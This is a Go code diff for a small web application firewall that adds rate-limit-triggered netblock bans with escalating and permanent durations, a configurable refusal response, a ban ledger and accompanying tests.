--- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -35,6 +35,12 @@ const ( rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + banResponse = "SWWAF_BAN_RESPONSE" + limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" + limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" + maxBanDuration = "SWWAF_MAX_BAN_DURATION" + maxBans = "SWWAF_MAX_BANS" + banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" ) // off switches a timeout, a size limit or a rate limit off. @@ -80,6 +86,12 @@ func TestDefaults(t *testing.T) { RateLimitPerMinute: 1000, RateLimitPerHour: 10000, RateLimitPerDay: 50000, + BanResponse: 403, + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: 24 * time.Hour, + MaxBanDuration: 7 * 24 * time.Hour, + MaxBans: 5000, + BanScopeV4Prefix: 32, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -118,6 +130,12 @@ func TestValuesAsSet(t *testing.T) { rateLimitPerDay: "6000", deniedCountries: "cn, RU,kp,Xk", allowedCountries: "de", + banResponse: "429", + limitBanDuration: "15m", + limitBanRepeatWindow: "2d", + maxBanDuration: "30d", + maxBans: "100", + banScopeV4Prefix: "24", }) wantSettings(t, cfg, config.Config{ @@ -133,6 +151,12 @@ func TestValuesAsSet(t *testing.T) { RateLimitPerMinute: 60, RateLimitPerHour: 600, RateLimitPerDay: 6000, + BanResponse: 429, + LimitBanDuration: 15 * time.Minute, + LimitBanRepeatWindow: 48 * time.Hour, + MaxBanDuration: 30 * 24 * time.Hour, + MaxBans: 100, + BanScopeV4Prefix: 24, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -226,6 +250,15 @@ func TestRateLimitsOff(t *testing.T) { } } +func TestBanResponseCloseIsZero(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{banResponse: "close"}) + if cfg.BanResponse != 0 { + t.Errorf("close read as %d, want 0", cfg.BanResponse) + } +} + func TestTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { t.Parallel() @@ -290,6 +323,12 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {allowedCountries, "uk"}, {allowedCountries, "zz"}, {allowedCountries, "de,germany"}, + {banResponse, "404"}, {banResponse, "drop"}, {banResponse, ""}, + {limitBanDuration, off}, {limitBanDuration, "0s"}, {limitBanDuration, "1"}, + {limitBanRepeatWindow, off}, {limitBanRepeatWindow, "-1h"}, + {maxBanDuration, off}, {maxBanDuration, "1w"}, + {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, + {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -344,6 +383,12 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { rateLimitPerDay: "50000", deniedCountries: "", allowedCountries: "", + banResponse: "403", + limitBanDuration: "1h", + limitBanRepeatWindow: "24h", + maxBanDuration: "7d", + maxBans: "5000", + banScopeV4Prefix: "32", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -368,6 +413,22 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { got.RateLimitPerDay != want.RateLimitPerDay { t.Errorf("settings\n%+v\nwant\n%+v", got, want) } + + wantBanSettings(t, got, want) +} + +// wantBanSettings checks the settings for bans. +func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { + t.Helper() + + if got.BanResponse != want.BanResponse || + got.LimitBanDuration != want.LimitBanDuration || + got.LimitBanRepeatWindow != want.LimitBanRepeatWindow || + got.MaxBanDuration != want.MaxBanDuration || + got.MaxBans != want.MaxBans || + got.BanScopeV4Prefix != want.BanScopeV4Prefix { + t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) + } } // wantNetblocks checks a list of netblocks. diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go new file mode 100644 index 0000000..d132b27 --- /dev/null +++ b/internal/proxy/bans.go @@ -0,0 +1,82 @@ +package proxy + +import ( + "net/netip" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged +// with action. +func (rq *request) banResponse(action string) *refusal { + return &refusal{status: rq.h.config.BanResponse, action: action} +} + +// banned reports whether a ban on the client's netblock refuses the +// request at now, and notes for the log line when that ban ends. +func (rq *request) banned(now time.Time) bool { + ban, banned := rq.h.ledger.Check(rq.netblock(), now) + if banned { + rq.line.BanExpires = banExpires(ban) + } + + return banned +} + +// limitBroken counts the request for the rate limits at now, and reports +// whether it takes the client over one. Such a request bans the client's +// netblock, and sets the client's counters back to zero. +func (rq *request) limitBroken(now time.Time) bool { + group := clientGroup(rq.client) + + hit, over := rq.h.limiter.Count(group, now) + if !over { + return false + } + + ban := rq.h.ledger.BanForLimit(rq.netblock(), now, bans.Notes{ + Country: rq.line.Country, + Limit: hit.Limit, + Window: hit.Window, + Count: hit.Requests, + Request: bans.Request{ + Time: now, + Method: rq.in.Method, + Host: rq.in.Host, + Path: rq.in.URL.RequestURI(), + Status: rq.h.config.BanResponse, + UserAgent: rq.in.UserAgent(), + }, + }) + rq.h.limiter.Reset(group) + + rq.line.LimitHit = hit.Window + rq.line.Offence = requestlog.OffenceLimit + rq.line.BanExpires = banExpires(ban) + + return true +} + +// netblock is the netblock a ban on the client covers: its IPv4 address, +// widened to SWWAF_BAN_SCOPE_V4_PREFIX, or the IPv6 group clientGroup +// counts it in. +func (rq *request) netblock() netip.Prefix { + addr := rq.client.Unmap() + if addr.Is4() { + return netip.PrefixFrom(addr, rq.h.config.BanScopeV4Prefix).Masked() + } + + return clientGroup(addr) +} + +// banExpires is when ban ends, as the log line gives it: a time, or +// permanent. +func banExpires(ban bans.Ban) string { + if ban.Permanent() { + return "permanent" + } + + return requestlog.FormatTime(ban.Expires) +} diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go new file mode 100644 index 0000000..8296825 --- /dev/null +++ b/internal/proxy/bans_test.go @@ -0,0 +1,434 @@ +package proxy_test + +import ( + "bufio" + "errors" + "io" + "maps" + "net/http" + "net/netip" + "slices" + "sync" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const ( + // otherClient is a client next to client. + otherClient = "203.0.113.10" + // userAgent is the user agent of every request a sender sends. + userAgent = "ban-test/1.0" + // permanent is the log line's ban_expires for a permanent ban. + permanent = "permanent" +) + +func TestBrokenLimitBansTheClient(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"}) + expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) + + // The request over the limit of one a minute is refused, and bans the + // client for an hour, the default. + s.get(client, http.StatusOK, requestlog.ActionForward) + + line := s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || + line.BanExpires != expires { + t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires, + expires) + } + + // Every request while the ban lasts is refused. + clk.advance(time.Hour - time.Second) + + line = s.get(client, http.StatusForbidden, requestlog.ActionBanned) + if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" { + t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+ + "want %s and neither of the others", line.BanExpires, line.Offence, + line.LimitHit, expires) + } + + // Once it ends, the client is let through. + clk.advance(time.Second) + s.get(client, http.StatusOK, requestlog.ActionForward) +} + +func TestBanLengthsFollowTheSettings(t *testing.T) { + t.Parallel() + + s, clk, _ := startWithClock(t, "", map[string]string{ + rateLimitPerMinute: "1", + limitBanDuration: "10m", + limitBanRepeatWindow: "1h", + maxBanDuration: "1h", + }) + + // breakLimit has client go over the limit of one a minute, and + // returns when the ban that makes ends. + breakLimit := func() string { + s.get(client, http.StatusOK, requestlog.ActionForward) + + return s.get(client, http.StatusForbidden, requestlog.ActionRateLimited).BanExpires + } + wantExpires := func(got string, length time.Duration) { + t.Helper() + + want := requestlog.FormatTime(clk.Now().Add(length)) + if got != want { + t.Errorf("ban ends at %s, want %s", got, want) + } + } + + // A first ban lasts SWWAF_LIMIT_BAN_DURATION; one within + // SWWAF_LIMIT_BAN_REPEAT_WINDOW after it ended, three times as long. + wantExpires(breakLimit(), 10*time.Minute) + clk.advance(10*time.Minute + time.Hour) + wantExpires(breakLimit(), 30*time.Minute) + + // Later than that, SWWAF_LIMIT_BAN_DURATION again. + clk.advance(30*time.Minute + time.Hour + time.Second) + wantExpires(breakLimit(), 10*time.Minute) + clk.advance(10 * time.Minute) + wantExpires(breakLimit(), 30*time.Minute) + + // 90 minutes would be longer than SWWAF_MAX_BAN_DURATION: the ban is + // permanent. + clk.advance(30 * time.Minute) + + got := breakLimit() + if got != permanent { + t.Errorf("ban ends at %s, want a permanent one", got) + } + + clk.advance(365 * 24 * time.Hour) + s.get(client, http.StatusForbidden, requestlog.ActionBanned) +} + +func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { + t.Parallel() + + s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"}) + + // The third request in a day is over the limit of two, and bans the + // client for an hour. + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + + for range 3 { + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + } + + // Later the same day the client has its whole allowance again: the + // ban set its counters back to zero, and the requests it refused were + // not counted for the rate limits, only in its notes. + clk.advance(time.Hour) + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + + banned := proxy.LedgerOf(server).Bans(netip.MustParsePrefix(client + "/32")) + if len(banned) != 2 || banned[0].Notes.Refused != 3 { + t.Errorf("bans %+v, want two, the first with 3 requests refused", banned) + } +} + +func TestBanCoversTheClientsNetblock(t *testing.T) { + t.Parallel() + + // In the IPv4 cases, client breaks the limit; these two are next to it. + const ( + allowed = "203.0.113.60" // in SWWAF_ALLOW_NETS + exempt = "203.0.113.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + ) + + for _, tc := range []struct { + name string + env map[string]string + breaker string // the client that breaks the limit + refused []string + let []string // let through + }{ + { + "an IPv4 address, by default", nil, client, + nil, []string{otherClient, exempt}, + }, + { + "the IPv4 netblock SWWAF_BAN_SCOPE_V4_PREFIX sets", + map[string]string{banScopeV4Prefix: "24"}, client, + []string{otherClient, exempt}, []string{"203.0.112.9", allowed}, + }, + { + "an IPv6 /64", nil, "2001:db8:5::1", + []string{"2001:db8:5::ffff:1"}, []string{"2001:db8:5:1::1"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + env := map[string]string{ + rateLimitPerMinute: "1", + allowNets: allowed, + rateLimitExemptNets: exempt, + } + maps.Copy(env, tc.env) + s, _, _ := startWithClock(t, "", env) + + s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) + s.get(tc.breaker, http.StatusForbidden, requestlog.ActionRateLimited) + + for _, sent := range tc.refused { + s.get(sent, http.StatusForbidden, requestlog.ActionBanned) + } + + for _, sent := range tc.let { + s.get(sent, http.StatusOK, requestlog.ActionForward) + } + }) + } +} + +func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) { + t.Parallel() + + geojsURL, asked := startGeoJS(t) + s, _, _ := startWithClock(t, geojsURL, map[string]string{ + rateLimitPerMinute: "1", + banScopeV4Prefix: "24", + deniedCountries: "kp", + }) + + // fromDE's ban covers otherClient, which is refused unasked about. + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + + line := s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned) + if line.Country != "" { + t.Errorf("log line has country %q, want none", line.Country) + } + + if !slices.Equal(asked(), []string{fromDE}) { + t.Errorf("GeoJS was asked about %v, want %s alone", asked(), fromDE) + } +} + +func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) { + t.Parallel() + + const denied = "192.0.2.50" // in SWWAF_DENY_NETS + + for _, tc := range []struct { + setting string // "" leaves SWWAF_BAN_RESPONSE at its default + status int // 0 is the connection closed without an answer + }{ + {"", http.StatusForbidden}, + {"403", http.StatusForbidden}, + {"429", http.StatusTooManyRequests}, + {"close", 0}, + } { + t.Run(banResponse+"="+tc.setting, func(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + env := map[string]string{ + rateLimitPerMinute: "1", + denyNets: denied, + deniedCountries: "kp", + } + + if tc.setting != "" { + env[banResponse] = tc.setting + } + + s, _, _ := startWithClock(t, geojsURL, env) + + s.get(denied, tc.status, requestlog.ActionDenied) + s.get(fromKP, tc.status, requestlog.ActionCountryDenied) + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromDE, tc.status, requestlog.ActionRateLimited) + s.get(fromDE, tc.status, requestlog.ActionBanned) + }) + } +} + +func TestBanNotes(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + s, clk, server := startWithClock(t, geojsURL, map[string]string{ + rateLimitPerMinute: "1", + deniedCountries: "kp", + }) + start := clk.Now() + + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.request(fromDE, "/repo/commits?page=2", + http.StatusForbidden, requestlog.ActionRateLimited) + s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) + s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) + + netblock := netip.MustParsePrefix(fromDE + "/32") + want := bans.Ban{ + Netblock: netblock, + Start: start, + Expires: start.Add(time.Hour), + Notes: bans.Notes{ + Country: "DE", + Limit: 1, + Window: minute, + Count: 2, + Request: bans.Request{ + Time: start, + Method: http.MethodGet, + Host: appHost, + Path: "/repo/commits?page=2", + Status: http.StatusForbidden, + UserAgent: userAgent, + }, + Refused: 2, + EarlierBans: 0, + }, + } + + ledger := proxy.LedgerOf(server) + + got := ledger.Bans(netblock) + if len(got) != 1 || got[0] != want { + t.Fatalf("bans\n%+v\nwant\n%+v", got, want) + } + + // The next ban counts this one among the earlier. + clk.advance(time.Hour) + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + + got = ledger.Bans(netblock) + if len(got) != 2 || got[1].Notes.EarlierBans != 1 { + t.Errorf("bans %+v, want two, the second with one earlier ban", got) + } +} + +func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{ + rateLimitPerMinute: "1", + maxBans: "1", + }) + + // One ban is held, so otherClient's ban drops client's. + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) + s.get(otherClient, http.StatusOK, requestlog.ActionForward) + s.get(otherClient, http.StatusForbidden, requestlog.ActionRateLimited) + + s.get(client, http.StatusOK, requestlog.ActionForward) + s.get(otherClient, http.StatusForbidden, requestlog.ActionBanned) +} + +// clock is the time a test sets, by which smallwebwaf counts requests and +// makes bans. +type clock struct { + mu sync.Mutex + now time.Time +} + +// Now tells the time. +func (c *clock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + + return c.now +} + +// advance moves the clock on by d. +func (c *clock) advance(d time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + + c.now = c.now.Add(d) +} + +// startWithClock starts smallwebwaf in front of an app that answers 200, +// with the settings in env on top of trusting localhost's +// X-Forwarded-For, clients' countries looked up at geojsURL, and a clock +// set to midnight, the start of a bucket in every window. +func startWithClock( + t *testing.T, geojsURL string, env map[string]string, +) (*sender, *clock, *http.Server) { + t.Helper() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} + settings := map[string]string{trustedProxies: trustLocalhost} + maps.Copy(settings, env) + + addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings) + + return &sender{t: t, addr: addr, out: out}, clk, server +} + +// sender sends requests to smallwebwaf one after another, each on a +// connection of its own, and checks each one's answer and log line. They +// must be the only requests smallwebwaf is sent, since the log lines are +// matched to them in order. +type sender struct { + t *testing.T + addr string + out *output + sent int +} + +// get sends a GET request for / from the client at from. +func (s *sender) get(from string, status int, action string) logLine { + s.t.Helper() + + return s.request(from, "/", status, action) +} + +// request sends a GET request for path from the client at from, as +// X-Forwarded-For names it, and checks that its answer and its log line +// have status, 0 for the connection closed without an answer, and that +// the line has action. It returns the log line. +func (s *sender) request(from, path string, status int, action string) logLine { + s.t.Helper() + + conn := dial(s.t, s.addr) + send(s.t, conn, "GET "+path+" HTTP/1.1\r\nHost: "+appHost+ + "\r\nUser-Agent: "+userAgent+"\r\n"+forwardedFor+": "+from+"\r\n\r\n") + + err := conn.SetReadDeadline(time.Now().Add(waitLimit)) + if err != nil { + s.t.Fatalf("set read deadline: %v", err) + } + + got := 0 + + res, err := http.ReadResponse(bufio.NewReader(conn), nil) + + switch { + case err == nil: + got = readAnswer(res).status + case !errors.Is(err, io.ErrUnexpectedEOF): + s.t.Fatalf("read response: %v", err) + } + + _ = conn.Close() + + if got != status { + s.t.Errorf("request %d, from %s: status %d, want %d", s.sent+1, from, got, + status) + } + + line := s.out.requestLines(s.t, s.sent+1)[s.sent] + s.sent++ + wantLine(s.t, line, status, action) + + return line +} diff --git a/internal/proxy/export_test.go b/internal/proxy/export_test.go new file mode 100644 index 0000000..0a92299 --- /dev/null +++ b/internal/proxy/export_test.go @@ -0,0 +1,15 @@ +package proxy + +import ( + "net/http" + + "sneak.berlin/go/smallwebwaf/internal/bans" +) + +// LedgerOf returns the ban ledger of a server New returned, so that the +// tests can read the bans' notes. +func LedgerOf(server *http.Server) *bans.Ledger { + h, _ := server.Handler.(*handler) + + return h.ledger +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 157c691..fe6b89c 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -10,6 +10,7 @@ import ( "net/http" "time" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" @@ -36,6 +37,9 @@ type Params struct { // GeoJSURL is where clients' countries are looked up, normally // lookup.URL. GeoJS is asked only while a country list is set. GeoJSURL string + // Now tells the time by which requests are counted for the rate + // limits and bans are made and run out, normally time.Now. + Now func() time.Time } // New returns the server smallwebwaf runs: each request it reads passes @@ -55,11 +59,18 @@ func New(params Params) *http.Server { processLog: params.ProcessLog, errorLog: errorLog, transport: newTransport(), + now: params.Now, limiter: ratelimit.New(ratelimit.Limits{ PerMinute: params.Config.RateLimitPerMinute, PerHour: params.Config.RateLimitPerHour, PerDay: params.Config.RateLimitPerDay, }), + ledger: bans.New(bans.Rules{ + LimitBanDuration: params.Config.LimitBanDuration, + LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, + MaxBanDuration: params.Config.MaxBanDuration, + MaxBans: params.Config.MaxBans, + }), geojs: lookup.New(lookup.Params{ URL: params.GeoJSURL, Now: time.Now, @@ -85,7 +96,9 @@ type handler struct { processLog *slog.Logger errorLog *log.Logger transport http.RoundTripper + now func() time.Time limiter *ratelimit.Limiter + ledger *bans.Ledger geojs *lookup.GeoJS } diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index ae355c9..a870581 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -57,8 +57,15 @@ const ( rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" denyNets = "SWWAF_DENY_NETS" rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" + rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" deniedCountries = "SWWAF_DENIED_COUNTRIES" allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" + banResponse = "SWWAF_BAN_RESPONSE" + limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" + limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" + maxBanDuration = "SWWAF_MAX_BAN_DURATION" + maxBans = "SWWAF_MAX_BANS" + banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" ) // output collects what smallwebwaf writes on stdout. @@ -183,6 +190,19 @@ func startProxyWithGeoJS( ) (string, *output) { t.Helper() + addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env) + + return addr, out +} + +// startProxyWithClock is startProxyWithGeoJS with requests counted and +// bans made by the time now tells, and returns the server as well. +func startProxyWithClock( + t *testing.T, appURL, geojsURL string, now func() time.Time, + env map[string]string, +) (string, *output, *http.Server) { + t.Helper() + settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL} maps.Copy(settings, env) @@ -201,6 +221,7 @@ func startProxyWithGeoJS( RequestLog: out, ProcessLog: requestlog.NewProcessLogger(out), GeoJSURL: geojsURL, + Now: now, }) listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") @@ -216,7 +237,7 @@ func startProxyWithGeoJS( _ = server.Close() }) - return listener.Addr().String(), out + return listener.Addr().String(), out, server } // newClient returns an HTTP client that sends requests as they are made, diff --git a/internal/proxy/ratelimits_test.go b/internal/proxy/ratelimits_test.go index 0708cb9..8d57142 100644 --- a/internal/proxy/ratelimits_test.go +++ b/internal/proxy/ratelimits_test.go @@ -8,7 +8,11 @@ import ( "sneak.berlin/go/smallwebwaf/internal/requestlog" ) -func TestRateLimitRefusesWith429BeforeTheApp(t *testing.T) { +// minute is the window of SWWAF_RATE_LIMIT_PER_MINUTE, as a log line's +// limit_hit names it. +const minute = "minute" + +func TestRateLimitRefusesBeforeTheApp(t *testing.T) { t.Parallel() var calls atomic.Int32 @@ -24,19 +28,19 @@ func TestRateLimitRefusesWith429BeforeTheApp(t *testing.T) { const otherClient = "203.0.113.10" // With a limit of one request a minute, a client's second request is - // refused. A client is one IPv4 address, or one IPv6 /64; an IPv4 - // address in IPv6 form is that IPv4 address. + // refused, with 403 by default. A client is one IPv4 address, or one + // IPv6 /64; an IPv4 address in IPv6 form is that IPv4 address. requests := []struct { client string // as X-Forwarded-For names it logged string // as the log line's client_ip names it want int }{ {client, client, http.StatusOK}, - {client, client, http.StatusTooManyRequests}, + {client, client, http.StatusForbidden}, {otherClient, otherClient, http.StatusOK}, - {"::ffff:" + otherClient, otherClient, http.StatusTooManyRequests}, + {"::ffff:" + otherClient, otherClient, http.StatusForbidden}, {"2001:db8::1", "2001:db8::1", http.StatusOK}, - {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusTooManyRequests}, + {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden}, {"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK}, } @@ -53,9 +57,9 @@ func TestRateLimitRefusesWith429BeforeTheApp(t *testing.T) { if sent.want == http.StatusOK { wantLine(t, line, http.StatusOK, requestlog.ActionForward) } else { - wantLine(t, line, http.StatusTooManyRequests, requestlog.ActionRateLimited) + wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited) - if line.LimitHit != "minute" { + if line.LimitHit != minute { t.Errorf("log line has limit_hit %q, want minute", line.LimitHit) } } diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 01f5333..c4849f5 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -21,7 +21,8 @@ const flushAfterEachWrite time.Duration = -1 // refusal is smallwebwaf refusing a request, or refusing to go on with it: // the status the client is answered if the response has not started yet, -// and the action the log line names. +// 0 to close the connection without an answer, and the action the log +// line names. type refusal struct { status int action string @@ -105,39 +106,33 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { // is known, before its body is read or anything reaches the app. It // returns nil to let the request through. A client in SWWAF_ALLOW_NETS // skips every check but the size limit. For any other client, -// SWWAF_DENY_NETS comes first, so that a client it refuses is not looked -// up, and then the country lists; a request either refuses is not counted -// for the rate limits. Then come the rate limits, unless the client is in +// SWWAF_DENY_NETS comes first, then a ban on its netblock, so that a +// client either refuses is not looked up, and then the country lists; a +// request any of them refuses is not counted for the rate limits. Then +// come the rate limits, unless the client is in // SWWAF_RATE_LIMIT_EXEMPT_NETS, so that every other request is counted, -// one refused for its size too. ctx is the request's own context. +// one refused for its size too. Every refusal but the size limit's is +// answered with SWWAF_BAN_RESPONSE. ctx is the request's own context. func (rq *request) check(ctx context.Context) *refusal { cfg := rq.h.config allowed := isInside(rq.client, cfg.AllowNets) + exempt := isInside(rq.client, cfg.RateLimitExemptNets) + now := rq.h.now() if !allowed && isInside(rq.client, cfg.DenyNets) { - return &refusal{ - status: http.StatusForbidden, - action: requestlog.ActionDenied, - } + return rq.banResponse(requestlog.ActionDenied) + } + + if !allowed && rq.banned(now) { + return rq.banResponse(requestlog.ActionBanned) } if !allowed && rq.countryDenied(ctx) { - return &refusal{ - status: http.StatusForbidden, - action: requestlog.ActionCountryDenied, - } + return rq.banResponse(requestlog.ActionCountryDenied) } - if !allowed && !isInside(rq.client, cfg.RateLimitExemptNets) { - limitHit := rq.h.limiter.Count(clientGroup(rq.client), rq.start) - if limitHit != "" { - rq.line.LimitHit = limitHit - - return &refusal{ - status: http.StatusTooManyRequests, - action: requestlog.ActionRateLimited, - } - } + if !allowed && !exempt && rq.limitBroken(now) { + return rq.banResponse(requestlog.ActionRateLimited) } maxBytes := cfg.RequestMaxBytes @@ -250,6 +245,13 @@ func (rq *request) answer(r refusal) { return // too late to answer: the connection can only be cut } + if r.status == 0 { + // SWWAF_BAN_RESPONSE is close. This panic has Go's server close + // the connection without an answer, and log nothing; the log line + // is still written as the handler returns. + panic(http.ErrAbortHandler) + } + // A client found too slow is read no more; any other may go on // sending until its time is up, so that Go's server can read the // rest of the body and end the request cleanly. diff --git a/internal/proxy/staticlists_test.go b/internal/proxy/staticlists_test.go index 58bbe64..d757f19 100644 --- a/internal/proxy/staticlists_test.go +++ b/internal/proxy/staticlists_test.go @@ -78,7 +78,7 @@ func TestRequestFromAllowNetsIsNotCounted(t *testing.T) { {listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + {unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, }) } @@ -133,7 +133,7 @@ func TestRequestRefusedByDenyNetsIsNotCounted(t *testing.T) { {listedAddr, http.StatusForbidden, requestlog.ActionDenied}, {listedAddr, http.StatusForbidden, requestlog.ActionDenied}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + {unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, }) } @@ -156,7 +156,7 @@ func TestRateLimitExemptNetsAreNeitherCountedNorRefused(t *testing.T) { {listedAddr, http.StatusOK, requestlog.ActionForward}, {listedAddr, http.StatusOK, requestlog.ActionForward}, {unlistedAddr, http.StatusOK, requestlog.ActionForward}, - {unlistedAddr, http.StatusTooManyRequests, requestlog.ActionRateLimited}, + {unlistedAddr, http.StatusForbidden, requestlog.ActionRateLimited}, {fromKP, http.StatusForbidden, requestlog.ActionCountryDenied}, }) } diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 3396c18..395cc85 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -54,11 +54,22 @@ func New(limits Limits) *Limiter { } } +// Hit is a request that takes a client over a rate limit. +type Hit struct { + // Window is "minute", "hour" or "day". + Window string + // Limit is the window's limit. + Limit int64 + // Requests is the client's requests counted in the window, this one + // included. + Requests float64 +} + // Count counts a request from client at now, in every window, whether or -// not it is refused. It returns the window whose limit the request takes -// the client over, "minute", "hour" or "day", the shortest if it is over -// several, or "" if it is within every limit. -func (l *Limiter) Count(client netip.Prefix, now time.Time) string { +// not it is refused. It reports whether the request takes the client over +// a limit, and the window whose limit it goes over, the shortest if it is +// over several. +func (l *Limiter) Count(client netip.Prefix, now time.Time) (Hit, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -68,16 +79,24 @@ func (l *Limiter) Count(client netip.Prefix, now time.Time) string { l.clients.Add(client, counts) } - limitHit := "" + var hit Hit for i, w := range l.windows { requests := counts[i].add(now, w.length) - if limitHit == "" && w.limit > 0 && requests > float64(w.limit) { - limitHit = w.name + if hit.Window == "" && w.limit > 0 && requests > float64(w.limit) { + hit = Hit{Window: w.name, Limit: w.limit, Requests: requests} } } - return limitHit + return hit, hit.Window != "" +} + +// Reset sets client's counts in every window back to zero. +func (l *Limiter) Reset(client netip.Prefix) { + l.mu.Lock() + defer l.mu.Unlock() + + l.clients.Remove(client) } // window is a length of time over which requests are counted, and the diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go index 58ae89d..891fc3b 100644 --- a/internal/ratelimit/ratelimit_test.go +++ b/internal/ratelimit/ratelimit_test.go @@ -54,6 +54,52 